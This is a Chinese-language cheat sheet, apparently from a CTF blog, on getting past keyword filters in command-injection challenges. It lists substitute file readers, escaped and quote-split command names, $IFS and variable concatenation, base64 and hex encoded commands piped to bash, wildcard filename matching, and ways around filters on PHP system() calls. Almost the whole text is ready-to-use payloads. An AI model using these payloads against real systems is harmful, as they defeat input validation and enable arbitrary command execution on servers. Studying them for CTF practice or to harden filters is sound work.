过滤cat,flag等关键词
①代替
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,可以查看
vim:一种编辑器,可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
②使用转义符
ca\t /fl\ag
cat fl''ag
③内联执行绕过
拼接flag
a=fl;b=ag.php;cat$IFS$a$b
④变量绕过
a=c;b=a;c=t;$a$b$c 1.txt
⑤编码进制绕过
base64
Y2F0IDEudHh0 为 cat 1.txt的base64编码
echo "Y2F0IDEudHh0"|base64 -d|bash
16进制
0x636174202E2F312E747874 为 cat 1.txt的十六进制编码
echo "0x636174202E2F312E747874"|xxd -r -p|bash
\x63\x61\x74\x20\x2E\x2F\x31\x2E\x74\x78\x74 为 cat 1.txt的十六进制编码
$(printf "\x63\x61\x74\x20\x2E\x2F\x31\x2E\x74\x78\x74")
⑥过滤文件名绕过
1) 利用正则匹配绕过
例如:过滤/1010/flag.php文件
cat 1010/flag.php
cat ????/fla*
2)利用未初始化变量,使用$u绕过
例如过滤/1010/flag.pgp中的1010
cat 1010/flag.php
cat 1010$u/flag.php
⑦命令执行函数system()绕过
system(“whoami”)
1)十六进制绕过
“\x73\x79\x73\x74\x65\x6d”(“whoami”);
2)括号绕过
(sy.(st).em)(whoami);
3)使用内敛执行代替system
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);
⑧使用
?
和
*和
?和@,
x
,
x,
x,{数字}
注:因为在没有传参的情况下,上面的特殊变量都是为空的
ca$*t 1010/flag.php
ca$@t 1010/flag.php
ca$2t 1010/flag.php
ca${39}t 1010/flag.php
⑨其他读取文件方式
curl file:///root/1010/flag.php
strings 1010/flag.php
uniq -c 1010/flag.php
bash -v 1010/flag.php
rev 1010/flag.php
dir与ls的代替
find 列出当前目录下的文件以及子目录所有文件 返回主页
|